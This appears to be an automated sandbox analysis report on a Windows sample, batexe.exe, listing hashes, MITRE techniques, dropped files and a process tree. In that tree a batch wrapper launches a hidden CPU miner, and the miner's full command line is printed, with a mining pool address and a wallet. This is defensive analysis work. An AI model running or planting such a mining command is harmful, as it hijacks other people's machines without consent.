73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
298s
max time network
302s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
21/02/2024, 05:54

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	b2e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	batexe.exe

Executes dropped EXE 2 IoCs

pid	Process
3144	b2e.exe
5708	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
5708	cpuminer-sse2.exe
5708	cpuminer-sse2.exe
5708	cpuminer-sse2.exe
5708	cpuminer-sse2.exe
5708	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2816-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2816 wrote to memory of 3144	2816	batexe.exe	81
PID 2816 wrote to memory of 3144	2816	batexe.exe	81
PID 2816 wrote to memory of 3144	2816	batexe.exe	81
PID 3144 wrote to memory of 2740	3144	b2e.exe	82
PID 3144 wrote to memory of 2740	3144	b2e.exe	82
PID 3144 wrote to memory of 2740	3144	b2e.exe	82
PID 2740 wrote to memory of 5708	2740	cmd.exe	85
PID 2740 wrote to memory of 5708	2740	cmd.exe	85

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2816
- C:\Users\Admin\AppData\Local\Temp\F55C.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\F55C.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\F55C.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3144
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FF7E.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2740
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5708

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\F55C.tmp\b2e.exe

Filesize
6.8MB

MD5
2037d95b69bc8f86cafe4199f036740f

SHA1
7299fce8a36f05d6339921c7fe3d8d3e3232c6a4

SHA256
ed3df978ba5987abfabc545e293f980060a50482961c973bf5d7d8cb68004051

SHA512
73a99986eca12a6393c5e9aad050172f33fd504dfb5737759de1b4e7849617095347af8158489f8067f5dc9dbf8bdfd36087fb8f0cefb7c0981f213533c27c4e

Download Submit
C:\Users\Admin\AppData\Local\Temp\F55C.tmp\b2e.exe

Filesize
946KB

MD5
9063b985dc2738fa88710c4052691a76

SHA1
c6eba5b465fc58e4505cc6d5c3c16d7b33353b5d

SHA256
3dc24d7a1a8b740db26394d91bc238b956200ed60c82483ab6bdfe3cb225fd5d

SHA512
f4c84365deae7b5953b4dfa44e3b17e9ab5740e4f77bfbf48e115f6a94b3a6533418e32fa39d9f47d08944e42b783eea7c83f854529773662c741ccf2577efb7

Download Submit
C:\Users\Admin\AppData\Local\Temp\F55C.tmp\b2e.exe

Filesize
1.3MB

MD5
6ea998b53bf3aaacfd7cd965f426cd62

SHA1
d131c3c8efae93d12069eafd9e65e6743bf9099a

SHA256
0de427bb9661c416213e5d17f29ea4c8208bbffc978baa170b80fa471f5fb3d0

SHA512
8d1587b9ea71716fe28c474882fe3c9700673a11133b9362eeca713a5d725947e7a619588d0d9e9877c6231df5d5bb7607214d715cda548cdd53c34d2df878ea

Download Submit
C:\Users\Admin\AppData\Local\Temp\FF7E.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
606KB

MD5
20f3ab0f712d336b91ae13aee2c3888a

SHA1
2f19328bccd97e48f63223100f74d1acb34c5249

SHA256
3df846cad389c46c69792936be61138b78020e8d53bc22e0b4685227322e1856

SHA512
7145ed3ca63b4befea8f557fdfd57db6445426dd8a149c0b3f1dc7025fb4aa6fd71549ecf040e70059158e9253007627c44415b1aeabdd73dee97962b4589453

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
438KB

MD5
1888c4ecc9302b215c9be42b96640853

SHA1
c9c326681a7598cac2e7d490bfcddaceec3cbb10

SHA256
9b39e92ebd24a37bec342fda7c43ac5a83dc8bb6921b87e3b2ed03eb75a72ab4

SHA512
9c9aa4793aea6c0db17c5fd09c29f1e1172ff1f6b9e4f4399d7a2941addd37811d9bd7f89555e9e63d61db952dd1ef3cdd901895ff538292535cf39716e3f757

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
754KB

MD5
91cb6291c9eddede852651e43839772c

SHA1
b3649b87789472aed945b9886247f50d4e5ba34c

SHA256
c3b88b3e4cc635b4dca3410aac85be5476b24d110cea456355a7bda29561fcad

SHA512
99033424c0452fa197579e951d08f1124698a45fd3322d2954a03b368ca21032f6a7035611e5b35e2e979c4f73e966ba6f073a7c196f3d176c1a40c414622abb

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
234KB

MD5
2a7b26960f1bf6117957d6cfe456e9e8

SHA1
899865799fb329bbac3d2d0ac0644b2ead6bdb6b

SHA256
dc00dfe37582b6251683cfe00029d15eb4a1105c13d1909846d57a3869ff1263

SHA512
ab8562e0afc0eae48f82bae6210af87da5799a39eb906700362f8243b3149dae38051b9026e3b804c9f1d6e8480fd33f39b088c1f4cffc0a87957f90e6c06140

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
361KB

MD5
e65e86cbfdb4a4d94543a2cdf69de62b

SHA1
4d97a8500ae4b90ed32bf24026c2ba8719a532f5

SHA256
9e0e6b46fb724a9cbd5c453a8e7af6634bdfa8edbbe839cd8c98203de20b9451

SHA512
eb39117de99a55fe10652d2016453fe925787e6e77fd525feb488e601081cff79ccea188e8fd0f16d0c8ed85dc35635e2763670e545ba44302857952bf88198c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
335KB

MD5
cf7022d81fc35a85c0a48d94d54fa837

SHA1
f00fef029d28f45b850cff235fa8f8c5d016d4bd

SHA256
594c58d55f6012a9ff0c12b34cdd53bdae864afba8fc6b70fe69f9977f95af90

SHA512
b2a348d40986cb3d56ecee798543ea0240e9210ed281e811d1cd0e92a5cadf8a775f6414e1b3725bb020dd70f764b65203dc31f5e8e2e0c211fa19f4ff7358e6

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
320KB

MD5
e748e3357af6e4674ff8962691273b0d

SHA1
0acfc30d68a1ef7c6790a79270864448f70f0aa8

SHA256
84ff770c784909548dbca7bd2a24c8e82338b142f2d4893023e25c52f70e8d14

SHA512
0bd15154698983c85b46810d8fef9092f4d0725882421d6db61f168873af967808c467b924dcb8ee72aaad6e10202edab14916580fc442e14b9d8c85f9d07dcc

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
540KB

MD5
d940d14a756c19628fb07982f372b9b4

SHA1
66c95ece5fcf4f9176505aab4a3b024469591ed1

SHA256
c1937e332dfc082a749f4f292bbb46be6942f7456da1cc601bde56e5f71b4231

SHA512
a5651433c9d0399692b70333ca24dee7c0b3bfb809e0610dc3106c33f0f698eef8631a241b9d7ec6e2d79b970ee97b8f8e6ce34a64f5ba76c383adbf11b6a0da

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
434KB

MD5
14141d1b6349b97c66ff615fa3575449

SHA1
ca93834a902cae434c9e6583c7e6a44ef10c863a

SHA256
8c8e96171db0fdd42ca14f560f131b76b711bd6566f777c88a9763c71bf73a7a

SHA512
341a21e2a4732569c7c9be1224e4af107d872581ce08746767a08e426d7cdf6ead03afa51b8e3aae10d828b61ec5ad47dd1e110166800893e43a2bf66314a0cc

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
329KB

MD5
05d22cd4d8ae35ad91078a7ad7205daf

SHA1
30173a11e92221fe0b1bad6c8924e9350d763e31

SHA256
4bd371ee991307d06d8af95a8f23fc4af434b2e366b04ba502aa82f3f99e119e

SHA512
e77f79518636c99e254088d0aa3fcfb629deb83678b6b7808f9b9086ee34334cea35be7cc1b8af7e4bfb452e23f335a819f2300c47a576bc8919c30d6b595c02

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
362KB

MD5
a8dbe0e6f78236cf85bcbfdfba6898f6

SHA1
9c6b6979e76fcfeae7bdb67e1ac074320495906c

SHA256
671c489ea4099c9ab63abf1a0593637224bfaffc50210cbaa8a8b28175bd7326

SHA512
5506de762cd053a04eb4fe185c9ff21e9e4f2ed54019e7293e914aaafba8abd83a52b4e46fff9a7047edef812e6fe9b5c9d7df895c7d96e7810af8203391af8d

Download Submit
memory/2816-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3144-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3144-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5708-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5708-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/5708-46-0x00000000635D0000-0x0000000063668000-memory.dmp

Filesize
608KB

Download
memory/5708-47-0x00000000010F0000-0x00000000029A5000-memory.dmp

Filesize
24.7MB

Download
memory/5708-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5708-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/5708-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5708-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5708-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5708-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5708-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5708-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5708-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download